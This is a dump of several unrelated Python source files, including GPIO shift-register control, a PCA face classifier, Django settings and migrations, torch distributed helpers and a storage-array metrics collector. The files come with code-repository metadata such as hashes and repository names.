cmd_folder = os.path.split(inspect.getfile(inspect.currentframe()))[0]
if cmd_folder not in sys.path:
sys.path.insert(0, cmd_folder)
class FuturMapPDALPlugin(object):
def __init__(self):
self.provider = FuturMapPDALProvider()
def initGui(self):
QgsApplication.processingRegistry().addProvider(self.provider)
def unload(self):
QgsApplication.processingRegistry().removeProvider(self.provider)
| [
"fanevanjanahary@gmail.com"
] | fanevanjanahary@gmail.com |
0e6cecf240afdeb88861367a7aa3570124a71fe4 | c9b872274cd6e339a124d81897f6221935a7f5e9 | /registerClass.py | fc0a607ef485e730cd975aa49073ce90738f24f4 | [] | no_license | gahrae/Omega2_Seven_Segment_Display_with_Shift_Register | f92ca57539b4e96e4c243902e1e3006800bb490d | c9c9f66a276c2e3577bb4a85de7ab1e889675bc2 | refs/heads/master | 2022-12-01T14:33:04.920601 | 2020-08-15T19:28:36 | 2020-08-15T19:28:36 | 282,706,995 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,161 | py | import onionGpio
# Source: https://docs.onion.io/omega2-maker-kit/starter-kit-using-shift-register.html
# class to control a shift register chip
class shiftRegister:
# instantiates the GPIO objects based on the pin numbers
def __init__(self, dataPin, serialClock, registerClock):
self.ser = onionGpio.OnionGpio(dataPin)
self.srclk = onionGpio.OnionGpio(serialClock)
self.rclk = onionGpio.OnionGpio(registerClock)
self.setup()
# Pulses the latchpin - write the outputs to the data lines
def latch(self):
self.rclk.setValue(0)
self.rclk.setValue(1)
self.rclk.setValue(0)
# Clear all the LEDS by pulsing the Serial Clock 8 times in and then the rclk once
def clear(self):
self.ser.setValue(0)
# Clears out all the values currently in the register
for x in range(0, 8):
self.srclk.setValue(0)
self.srclk.setValue(1)
self.srclk.setValue(0)
self.latch()
# sets the GPIOs to output with an initial value of zero
def setup(self):
self.ser.setOutputDirection(0)
self.srclk.setOutputDirection(0)
self.rclk.setOutputDirection(0)
self.clear()
# push a bit into the shift register
# sets the serial pin to the correct value and then pulses the serial clock to shift it in
def inputBit(self, inputValue):
self.ser.setValue(inputValue)
self.srclk.setValue(0)
self.srclk.setValue(1)
self.srclk.setValue(0)
# push a byte to the shift regiter
# splits the input values into individual values and inputs them. Then pulses the latch pin to show the output.
def outputBits(self, inputString):
# Splits the string into a list of individual characters ("11000000" -> ["1","1","0","0","0","0","0","0"])
bitList = list(inputString)
# reverses the string to send LSB first
bitList = bitList[::-1]
for bit in bitList:
# Transforms the character back into an int ("1" -> 1)
bit = int(bit)
self.inputBit(bit)
self.latch()
| [
"noreply@github.com"
] | gahrae.noreply@github.com |
cf3d7cde784ecba8a66e456d076e186f78c63fb4 | 2dcd29532e61bdbf0928115f9639c9b9f39073cc | /linear_classifier.py | 6f44a29e0bb21e2849bbb04c1cf82ab022cea2c4 | [] | no_license | srinadhupreetham/code_face_recognition | 9bd7a3b2ce1df30b7a518e27fe31c7533f510053 | d0ddead52a55d106f3de402fd488a6de37050d57 | refs/heads/master | 2020-03-29T22:36:26.211821 | 2018-09-28T12:49:45 | 2018-09-28T12:49:45 | 150,430,009 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,678 | py | import numpy as np
from PIL import Image
import glob
import sys
import matplotlib.pyplot as plt;
import math
train_data_path = str(sys.argv[1]);
test_data_path = str(sys.argv[2]);
img_dict = {};
train_arr = [];
weight_matrix = [];
valtoname = {};
def getNormalDistValue(val, mean, variance):
ans = 1/math.sqrt(2*math.pi*variance);
exp_val = -((val-mean)*(val-mean))/(2*variance);
exp_val = math.exp(exp_val);
ans *= exp_val;
return ans
def load_image(x):
img = Image.open(x).convert('L');
img = img.resize((32,32), Image.BILINEAR);
imgarr = np.array(img);
flat = imgarr.flatten();
return flat
def Traindata(iterations,learn_rate,reg):
with open(train_data_path) as file:
text = file.read().splitlines();
train_data_len = len(text);
train_arr = [];
size = 32;
mean_train = [0]*size*size;
mean_img = [[0]*32]*32;
value_intial = 0;
y = [];
for entry in text:
class_image = entry.split(' ')[1];
file_name = entry.split(' ')[0];
if class_image not in img_dict:
img_dict[class_image] = {};
img_dict[class_image]['images'] = [];
img_dict[class_image]['value'] = [];
img_dict[class_image]['value'] = value_intial;
valtoname[value_intial] = class_image;
value_intial += 1;
y.append(img_dict[class_image]['value']);
temp = load_image(file_name);#to send it into corresponding class
img_dict[class_image]['images'].append(temp);
mean_train += (temp/train_data_len);
train_arr.append(temp);
print(y)
print(valtoname)
for i in img_dict:
img_dict[i]['value'] = [];
img_dict[i]['value'] = value_intial;
value_intial += 1;
# print(img_dict[i])
# print(img_dict[i]['value'])# this is to assign numeric values for each class
no_of_classes = value_intial;
train_np = np.array(train_arr);
mean_arr = [mean_train] * train_data_len;
cov_matrix = np.subtract(train_np,mean_arr);
L_matrix = np.matmul(cov_matrix.transpose(),cov_matrix);
eig_val,eig_vec = np.linalg.eig(L_matrix);
k_components_val = 64;
eigen_pairs = [];
for egn in range(len(eig_val)):
eigen_pairs.append((eig_val[egn], eig_vec[:,egn]));
eigen_pairs.sort(reverse=True);
eig_val.sort();
img1 = train_arr[1];
sorted_eigenvectors = np.zeros((32*32, 32*32));
sorted_eigenvalues = np.zeros((32*32, 1));
for egn in range(len(eig_val)):
sorted_eigenvalues[egn] = eigen_pairs[egn][0];
sorted_eigenvectors[:,egn] = eigen_pairs[egn][1];
k_components = sorted_eigenvectors.transpose();
k_components = k_components[:k_components_val];
reduced_img = np.matmul(train_np,k_components.transpose());
reduced_img = reduced_img.transpose();
# print(reduced_img.shape);
dim = reduced_img.shape[0];
weight_matrix = np.random.randn(no_of_classes, dim) * 0.001
print(weight_matrix.shape);
losses_history = [];
for i in range(iterations):
loss = 0;
grad = np.zeros_like(weight_matrix);
dim, num_train = reduced_img.shape;
scores = np.matmul(weight_matrix,reduced_img) # [K, N]
# Shift scores so that the highest value is 0
scores -= np.max(scores)
scores_exp = np.exp(scores)
correct_scores_exp = scores_exp[y, range(num_train)] # [N, ]
scores_exp_sum = np.sum(scores_exp, axis=0) # [N, ]
loss = -np.sum(np.log(correct_scores_exp / scores_exp_sum))
loss /= num_train
loss += 0.5 * reg * np.sum(weight_matrix*weight_matrix)
scores_exp_normalized = scores_exp / scores_exp_sum
# deal with the correct class
scores_exp_normalized[y, range(num_train)] -= 1 # [K, N]
grad = scores_exp_normalized.dot(reduced_img.transpose())
grad /= num_train
grad += reg * weight_matrix
losses_history.append(loss);
weight_matrix -= learn_rate * grad # [K x D]
# print(weight_matrix);
return img_dict,k_components,losses_history,reduced_img,weight_matrix;
def TestData(train_dict,k_eig_components,weight_matrix):
with open(test_data_path) as file:
text = file.read().splitlines();
test_data_len = len(text);
size = 32;
answer = [];
for entry in text:
file_name = entry;
img = Image.open(file_name).convert('L');
img = img.resize((size,size), Image.BILINEAR);
imgarr = np.array(img);
prob = 0;
flat = imgarr.flatten().reshape(1,size*size);
final_testi = np.matmul(flat,k_eig_components.transpose());
final_test = final_testi[0];
final_test_len = len(final_test);
scores = weight_matrix.dot(final_test)
pred_ys = np.argmax(scores, axis=0)
pred_y = valtoname[pred_ys];
answer.append(pred_y)
return answer;
train_dict,k_eig_components,losses_history,reduced_img,weight_matrix = Traindata(1000,0.000001,100);
print(losses_history)
answer = TestData(train_dict,k_eig_components,weight_matrix);
print(answer)
with open('output_file.txt', 'w') as f:
for item in answer:
f.write("%s" % item)
| [
"srinadhu.saipreetham@gmail.com"
] | srinadhu.saipreetham@gmail.com |
89f962173ad243423fbf0287bc735e5ffd428162 | 6573507497f8d221079ba86e34130d42969e1375 | /spiderbot/netcraft_test/pipelines.py | 49b2e29d207a1c83096d18ff846d6699e944e740 | [] | no_license | BawangGoh-zz/Netcraft-Programming-Test | 822b29bec908a16bec4007e595c34c4ab51e0ff4 | 58196fe93684b2a5fe2370c5f208e6d649954a59 | refs/heads/master | 2022-11-20T20:26:10.379630 | 2020-07-22T07:58:22 | 2020-07-22T07:58:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 366 | py | # Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html
# useful for handling different item types with a single interface
from itemadapter import ItemAdapter
class NetcraftTestPipeline:
def process_item(self, item, spider):
return item
| [
"bawanggoh@gmail.com"
] | bawanggoh@gmail.com |
774e7d1faac8114880b97958e42aa5e295f17b00 | c63aefaaaeb70a878238253bca2a5519b92ab8e8 | /mf_lab_private-maejima/mf_lab_private-maejima/python/yachi/step02_yachi.py | 4ecd97e9bd221c037825e5cd6050f544a3e0b97b | [] | no_license | taken10/blog2 | 00deca00ac2332c5ba3f80198198cf77a5d4f9a0 | 7f70f91d356f0df23a5fb843e0d4625c02da4ce2 | refs/heads/master | 2020-03-30T03:52:08.596860 | 2018-10-06T17:44:55 | 2018-10-06T17:44:55 | 150,711,420 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,868 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
import copy # 一時的に引数配列を複写する為
import math # 整数値への切り上げをする為
import re # 正規表現を使用する為
import sys # 引数受け取りと、処理終了の為
def regex_integer_match(x): return bool(re.compile("^-?\d+\Z").match(x))
def round_up(x): return math.ceil(x)
def main(arguments):
ret_code = 0
# 引数の数を判定
if len(arguments) < 2:
print('エラー：引数の数が{cnt}です。引数は２つ以上設定してください。'.format(cnt=len(arguments)), file=sys.stderr)
return 1
for argument in arguments:
if not bool(regex_integer_match(argument)):
print('エラー：エラー：引数に数値(整数)以外が含まれています。', file=sys.stderr)
return 1
values = [int(i) for i in arguments]
values = set(values)
if len(values) == 1:
print('エラー：引数の値が全て同一値です。', file=sys.stderr)
return 1
# 引数の合計値を出力
print('引数の合計値は{sum}です。'.format(sum=sum(values)))
# 引数の最大値から最小値を引いた数を出力
print('引数の最大値から最小値を引いた値は{num}です。'.format(num=(max(values)-min(values))))
# 引数の掛け算
if 0 in values or (min(values) >= -1 and max(values) <= 1):
# 値に０が含まれると計算結果が０のままになる
# 値の範囲が-１から１の場合、-１から１の間を行ったり来たりするだけ
print('エラー：無限ループが発生する為、掛け算処理はスキップ', file=sys.stderr)
ret_code = 2
else:
product = 1
while product < 10000:
# 掛け算結果が10000を超えるまで掛け続ける
for value in values:
product *= value
if product >= 10000:
print('値が10000以上になったため、掛け算処理を終了します。')
break
print('引数掛け算結果は{num}です。'.format(num=product))
# 引数の最大値を最小値で割った数を出力
if min(values) == 0:
list_ = copy.deepcopy(values)
list_.remove(min(values))
min_ = min(list_)
else:
min_ = min(values)
max_ = max(values)
if max_ == 0 or min_ == 0:
print('エラー：最大値または最小値が０の為、割り算ができません。', file=sys.stderr)
return 2
print('引数の最大値を最小値で割った値は{num}です。'.format(num=round_up(max_/min_)))
return ret_code
# if main
if __name__ == '__main__':
sys.argv = sys.argv + ["950000", "100", "200", "300"]
sys.exit(main(sys.argv[1:]))
| [
"noreply@github.com"
] | taken10.noreply@github.com |
e31d526fe2456d043e593f7cf097e7610896026b | 32481c055b01544a606fb54baa1c274f3d5f794c | /guided_diffusion/dist_util.py | c8098eae51095eb45188f85cb6f0ad0e59c5bdf9 | [] | no_license | anondiffusion/anondiffusion | 15a56da76d616882e1de40f00dbff4f0937a49d1 | 479c37e6d75c696952164f62eecbe20e1846d711 | refs/heads/main | 2023-09-05T01:12:36.049454 | 2021-11-22T09:20:27 | 2021-11-22T09:20:27 | 430,608,368 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,425 | py | """
Helpers for distributed training.
"""
import io
import os
import socket
import blobfile as bf
from mpi4py import MPI
import torch as th
import torch.distributed as dist
# Change this to reflect your cluster layout.
# The GPU for a given rank is (rank % GPUS_PER_NODE).
GPUS_PER_NODE = 8
SETUP_RETRY_COUNT = 3
def setup_dist():
"""
Setup a distributed process group.
"""
if dist.is_initialized():
return
#os.environ["CUDA_VISIBLE_DEVICES"] = f"{MPI.COMM_WORLD.Get_rank() % GPUS_PER_NODE}"
comm = MPI.COMM_WORLD
backend = "gloo" if not th.cuda.is_available() else "nccl"
if backend == "gloo":
hostname = "localhost"
else:
hostname = socket.gethostbyname(socket.getfqdn())
os.environ["MASTER_ADDR"] = comm.bcast(hostname, root=0)
os.environ["RANK"] = str(comm.rank)
os.environ["WORLD_SIZE"] = str(comm.size)
port = comm.bcast(_find_free_port(), root=0)
os.environ["MASTER_PORT"] = str(port)
dist.init_process_group(backend=backend, init_method="env://")
def dev():
"""
Get the device to use for torch.distributed.
"""
if th.cuda.is_available():
return th.device(f"cuda")
return th.device("cpu")
def load_state_dict(path, **kwargs):
"""
Load a PyTorch file without redundant fetches across MPI ranks.
"""
chunk_size = 2 ** 30 # MPI has a relatively small size limit
if MPI.COMM_WORLD.Get_rank() == 0:
with bf.BlobFile(path, "rb") as f:
data = f.read()
num_chunks = len(data) // chunk_size
if len(data) % chunk_size:
num_chunks += 1
MPI.COMM_WORLD.bcast(num_chunks)
for i in range(0, len(data), chunk_size):
MPI.COMM_WORLD.bcast(data[i : i + chunk_size])
else:
num_chunks = MPI.COMM_WORLD.bcast(None)
data = bytes()
for _ in range(num_chunks):
data += MPI.COMM_WORLD.bcast(None)
return th.load(io.BytesIO(data), **kwargs)
def sync_params(params):
"""
Synchronize a sequence of Tensors across ranks from rank 0.
"""
for p in params:
with th.no_grad():
dist.broadcast(p, 0)
def _find_free_port():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 0))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
return s.getsockname()[1]
finally:
s.close()
| [
"noreply@github.com"
] | anondiffusion.noreply@github.com |
5a3db3fcf8abe15312818cc29161f6e4878773a8 | 0b54f693d3dbe0509fdd64d3aca8628894c8966f | /anupam/migrations/0001_initial.py | 91da637bcad24dc9345f76f7c1cfd27e93a1c97c | [] | no_license | AnupamSankar/portfolio | ef392f3ac9f2aef95f2fa31e1e0846768cf03e61 | b641997e3f7a07b92ad025b66195a0874d0096b0 | refs/heads/master | 2022-12-20T23:08:50.469312 | 2020-10-02T18:07:51 | 2020-10-02T18:07:51 | 300,694,750 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 556 | py | # Generated by Django 3.1.2 on 2020-10-02 05:14
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Anupam',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(upload_to='images/')),
('summary', models.CharField(max_length=200)),
],
),
]
| [
"anupams@qburst.com"
] | anupams@qburst.com |
7eab27dae9ae021e3868923b685c9dfef414cb38 | 5391889ede59a40dcd69dc1cf3d7f337f1a52b3a | /main.py | c166bd7ae9e3dccc2558aa5f06bd79209f97519b | [
"MIT"
] | permissive | sanha-kil/DiscordChatBot | 4f12580cc4ba0dd67b1faf40161b322c26d83779 | 39afc3859ec595cedaa0363e092b74db1bc32d42 | refs/heads/master | 2021-11-26T18:58:05.531306 | 2018-09-11T22:43:19 | 2018-09-11T22:43:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,688 | py |
#
# 투표개설페이지 알고리즘 (월요일까지 완성)
# 1. 투표개설페이지에 접속 (get)
# 2. 투표 개설 입력사항들을 입력
# 3. 투표개설 클릭 (post)
# 4. DB(임시 : sqlite3)에 랜덤주소 + 데이터 저장
# 5. 투표개설완료 페이지 출력 및 디스코드에 해당 투표페이지 전달
#
# 투표페이지 알고리즘 (화요일까지 완성)
# 1. 사용자가 투표페이지(get) 접속
# 2. DB 접속 후, 저장된 url이 있는가 확인
# 3. 없으면 404, 있으면 데이터를 불러와서 voteview.html 출력
# 4.
# db - vote table
# primary_number, manager, subject, description, content, anonymous
from flask import Flask, render_template, jsonify, request, redirect, session, url_for
import other, db_info
from flaskext.mysql import MySQL
application = Flask(__name__)
mysql = MySQL()
application.config['MYSQL_DATABASE_USER'] = db_info.db_user
application.config['MYSQL_DATABASE_PASSWORD'] = db_info.db_password
application.config['MYSQL_DATABASE_DB'] = db_info.db_name
application.config['MYSQL_DATABASE_HOST'] = db_info.db_host
mysql.init_app(application)
application.secret_key = '???'
@application.route("/")
def hello():
return "<h1 style='color:blue'>Hello There!</h1>"
@application.route("/createvote", methods=["POST","GET"])
def create_vote():
if request.method == "POST":
primary_vote_number = other.create_random_string()
print(request.form)
return render_template('votecreate.html')
@application.route('/vote/<url>')
def post(url):
print(url)
return render_template('voteview.html')
if __name__ == "__main__":
application.run(host='0.0.0.0',debug=True) | [
"luckperson7@naver.com"
] | luckperson7@naver.com |
be4c699477acd335f3376d62aa0dee2aa7027087 | cc0993ed5b1adc2bb180fbd391b05a88cc2c5151 | /portfolio_app/migrations/0001_initial.py | a78a1cf594fe5a3beae2a7fb2aeb1f3dd1076eae | [] | no_license | ClayG89/New_Portfolio | 17781992bb4e8cdd72c2acc246efc45ba90e4624 | dcae62bc09ef948e1f104f1fe61c5da9e3d2ea94 | refs/heads/master | 2023-08-16T04:51:13.978312 | 2020-04-27T22:21:18 | 2020-04-27T22:21:18 | 257,135,119 | 0 | 0 | null | 2021-09-22T18:57:20 | 2020-04-20T00:53:57 | JavaScript | UTF-8 | Python | false | false | 1,709 | py | # Generated by Django 3.0.5 on 2020-04-20 13:56
from django.db import migrations, models
import django.db.models.deletion
import phone_field.models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Blog',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=255)),
('blog', models.CharField(max_length=1500)),
],
),
migrations.CreateModel(
name='Contact',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('firstname', models.CharField(max_length=20)),
('lastname', models.CharField(max_length=20)),
('company', models.CharField(max_length=50)),
('phone', phone_field.models.PhoneField(blank=True, max_length=31)),
('email', models.EmailField(max_length=254)),
('topic', models.CharField(max_length=250)),
('message', models.CharField(max_length=400)),
],
),
migrations.CreateModel(
name='Comment',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('body', models.CharField(max_length=200)),
('blog', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='comments', to='portfolio_app.Blog')),
],
),
]
| [
"guessclay@Yahoo.com"
] | guessclay@Yahoo.com |
24a977828d578fe6243c0779e50ffbcd2ea193cf | 73b64b3ddffc9835ff9c714c623e9ca6fe0dd447 | /password_generator/urls.py | 12a764b377a2c8b19fbd69b86bd187e0c9a4e01b | [] | no_license | MhrjAniiz/passsword-generator | 2854a194f8df48dec81a8103a2a684c007dc635c | e5562c2b9285794bdb67c595bc5652bc76976e78 | refs/heads/master | 2022-04-10T01:41:51.274530 | 2020-03-19T11:55:43 | 2020-03-19T11:55:43 | 248,481,481 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 918 | py | """password_generator URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
from django.contrib.staticfiles.urls import staticfiles_urlpatterns
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('password.urls')),
]
urlpatterns += staticfiles_urlpatterns()
| [
"anishmaharjan17@gmail.com"
] | anishmaharjan17@gmail.com |
d82fe4b434a894aef6b5165f91ff32de5f8be634 | 6f9e90cde4a6301e545e746b4308902511477aab | /exptool/basis/component.py | e9a1253e450587d91dfac063850d5d3e0343134e | [
"BSD-2-Clause"
] | permissive | michael-petersen/exptool | ad96eee4fb74dc859c6da5757297fd7e3b3b17fa | 189ed0b94b08309badde5da9b31f233cc2ec1765 | refs/heads/main | 2023-08-04T22:44:55.176809 | 2023-07-26T15:30:09 | 2023-07-26T15:30:09 | 73,018,106 | 5 | 1 | NOASSERTION | 2023-07-26T15:33:09 | 2016-11-06T20:51:14 | Jupyter Notebook | UTF-8 | Python | false | false | 1,539 | py |
'''
______ ______ .___ ___. .______ ______ .__ __. _______ .__ __. .___________.
/ | / __ \ | \/ | | _ \ / __ \ | \ | | | ____|| \ | | | |
| ,----'| | | | | \ / | | |_) | | | | | | \| | | |__ | \| | `---| |----`
| | | | | | | |\/| | | ___/ | | | | | . ` | | __| | . ` | | |
| `----.| `--' | | | | | | | | `--' | | |\ | | |____ | |\ | | |
\______| \______/ |__| |__| | _| \______/ |__| \__| |_______||__| \__| |__|
component.py
handle the input of various components that can then be passed to potential analysis
'''
# standard libraries
import numpy as np
import time
# exptool classes
from exptool.io import psp_io
from exptool.basis import eof
from exptool.basis import spheresl
#from exptool.utils import halo_methods
#from exptool.utils import utils
# for interpolation
#from scipy.interpolate import UnivariateSpline
class Component():
def __init__(self,PSPComponent,nmaxbods=-1):
'''
inputs
---------
PSPComponent :
nmaxbods : maximum number of bodies to tabulate for expansion
'''
if PSPComponent['expansion'] == 'cylinder':
Component.cyl_expansion(self)
if PSPComponent['expansion'] == 'sphereSL':
Component.sph_expansion(self)
def cyl_expansion(self):
pass
def sph_expansion(self):
pass
| [
"petersen.michael.s@gmail.com"
] | petersen.michael.s@gmail.com |
cce1c82f70ddd06981d023a7804abd40aa491d36 | 7529324c9df28345d28c74ab7e0515a74d9266a2 | /tododjango/settings.py | a84d9779d5512027d57d042aead098c823524348 | [] | no_license | Akhil-Kar/Todo-app | 0b0078ce5c9f5180c5f01d6f96fbc180c92c1b1c | 0a5f61c6b4552e7db6f99d21ad91cd8c3c5a8e2f | refs/heads/main | 2023-07-31T11:22:28.247684 | 2021-06-28T04:29:29 | 2021-06-28T04:29:29 | 404,752,637 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,379 | py | """
Django settings for tododjango project.
Generated by 'django-admin startproject' using Django 3.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib import Path
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'django-insecure-0hz1^g$@h&ysid$4q)w*#h!u98c&n@&1)f7(xvsa1!&&r_sp-v'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
ALLOWED_HOSTS = ['127.0.0.1', 'todowithdjango.herokuapp.com']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'base.apps.BaseConfig',
'accounts.apps.AccountsConfig',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'tododjango.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'tododjango.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.2/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
LOGIN_URL = 'login'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.2/howto/static-files/
STATIC_URL = '/static/'
# Default primary key field type
# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
| [
"akhilkar@ternaengg.ac.in"
] | akhilkar@ternaengg.ac.in |
8fcf32239882a29fa5af2da1bcca013a6fbdee66 | 2466ac1fcf22cf818ed2eedcb023632235f75c95 | /flasharray_collector/flasharray_metrics/flasharray.py | 10dc65ed4fb33b70cb34eaa2a3b05cdb1f0055f9 | [
"Apache-2.0"
] | permissive | StrykerSKS/pure-exporter | 3048931ef9c5f744511d4cef767d034610e3f5b9 | 6c7fce9ab82611784153e169e11ce2c6851d18c2 | refs/heads/master | 2023-03-05T05:22:46.138877 | 2021-02-08T23:39:18 | 2021-02-08T23:39:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,891 | py | import re
import urllib3
import purestorage
# disable ceritificate warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PURE_NAA = 'naa.624a9370'
kpi_params = [{'action': 'monitor'},
{'action': 'monitor', 'mirrored': True},
{'action': 'monitor', 'latency': True},
{'action': 'monitor', 'latency': True, 'mirrored': True},
{'action': 'monitor', 'size': True},
{'action': 'monitor', 'size': True, 'mirrored': True},
{'space': True}]
class FlashArray:
"""
Base class for FlashArray Prometheus array info
"""
def __init__(self, endpoint, api_token):
self.flasharray = purestorage.FlashArray(
endpoint,
api_token=api_token,
user_agent='Purity_FA_Prometheus_exporter/1.0')
self.array = None
self.hosts = None
self.volumes = None
self.pods = None
def __del__(self):
if self.flasharray:
self.flasharray.invalidate_cookie()
def get_array(self):
if self.array is not None:
return self.array
self.array = self.flasharray.get()
for params in kpi_params:
try:
a = self.flasharray.get(**params)[0]
self.array.update(a)
except purestorage.PureError:
pass
return self.array
def get_array_elem(self, elem):
array = self.get_array()
if elem not in array:
return None
return array[elem]
def get_open_alerts(self):
return self.flasharray.list_messages(open=True)
def get_hardware_status(self):
return self.flasharray.list_hardware()
def get_volumes(self):
if self.volumes is not None:
return self.volumes
vdict = {}
for v in self.flasharray.list_volumes():
v['naaid'] = PURE_NAA + v['serial']
vdict[v['name']] = v
try:
for v in self.flasharray.list_volumes(protocol_endpoint=True):
# PE do not have these metrics, so it is necessasy to poulate with fake values
v['naaid'] = PURE_NAA + v['serial']
v['size'] = 0
v['volumes'] = 0
v['snapshots'] = 0
v['total'] = 0
v['data_reduction'] = 0
vdict[v['name']] = v
except purestorage.PureError:
pass
for params in kpi_params:
try:
for v in self.flasharray.list_volumes(**params):
vdict[v['name']].update(v)
except purestorage.PureError:
pass
self.volumes = list(vdict.values())
return self.volumes
def get_hosts(self):
if self.hosts is not None:
return self.hosts
hdict = {}
try:
for h in self.flasharray.list_hosts():
hdict[h['name']] = h
except purestorage.PureError:
pass
for params in kpi_params:
try:
for h in self.flasharray.list_hosts(**params):
hdict[h['name']].update(h)
except purestorage.PureError:
pass
self.hosts = list(hdict.values())
return self.hosts
def get_pods(self):
if self.pods is not None:
return self.pods
pdict = {}
try:
for p in self.flasharray.list_pods():
pdict[p['name']] = p
except purestorage.PureError:
pass
for params in kpi_params:
try:
for p in self.flasharray.list_pods(**params):
pdict[p['name']].update(p)
except purestorage.PureError:
pass
self.pods = list(pdict.values())
return self.pods
| [
"eugenio.grosso@gmail.com"
] | eugenio.grosso@gmail.com |
483cfbbfb26d7be532e3e0cb940728d4c1e12202 | d5929d2076af03f824a68a3f02f90f6dbd7671c3 | /Documentos/Python/Diagramacion/Ejercicios/5/4 5.py | 4f2bde3d1570a4933ad3c48bd2d94295fbb0dcd3 | [] | no_license | xcabezaderadiox/EDD_Paradigmas | 5603822e06cd5edb0955dacbfbaedaf1449092dc | 5409883fb6aefb30834fad39a8e59d3d943d823f | refs/heads/master | 2021-08-15T11:42:52.935451 | 2017-11-17T20:11:11 | 2017-11-17T20:11:11 | 108,488,508 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,164 | py | print ('BIENVENID@ CONDUCTOR')
def auto():
Patente = input('Por favor ingrese patente del auto: ')
global Resultado
global Amarilla
global Roja
global Rosa
global Verde
global Azul
Resultado = Patente[4]
if Resultado == "1" or Resultado == "2":
print ('Es Amarilla')
Amarilla = Amarilla + 1
elif Resultado == "3" or Resultado == "4":
print ('Es Roja')
Roja = Roja + 1
elif Resultado == "5" or Resultado == "6":
print ('Es Rosa')
Rosa = Rosa + 1
elif Resultado == "7" or Resultado == "8":
print ('Es Verde')
Verde = Verde + 1
else:
Resultado == "9" or Resultado == "0"
print ('Es Azul')
Azul = Azul + 1
Amarilla = 0
Roja = 0
Rosa = 0
Verde = 0
Azul = 0
for _ in range (0,5):
auto()
print ('Calcomanias Amarillas: ' + str(Amarilla))
print ('Calcomanias Roja: ' + str(Roja))
print ('Calcomanias Rosa: ' + str(Rosa))
print ('Calcomanias Verde: ' + str(Verde))
print ('Calcomanias Azul: ' + str(Azul))
print ('GRACIAS!!!')
print ()
print ()
print ()
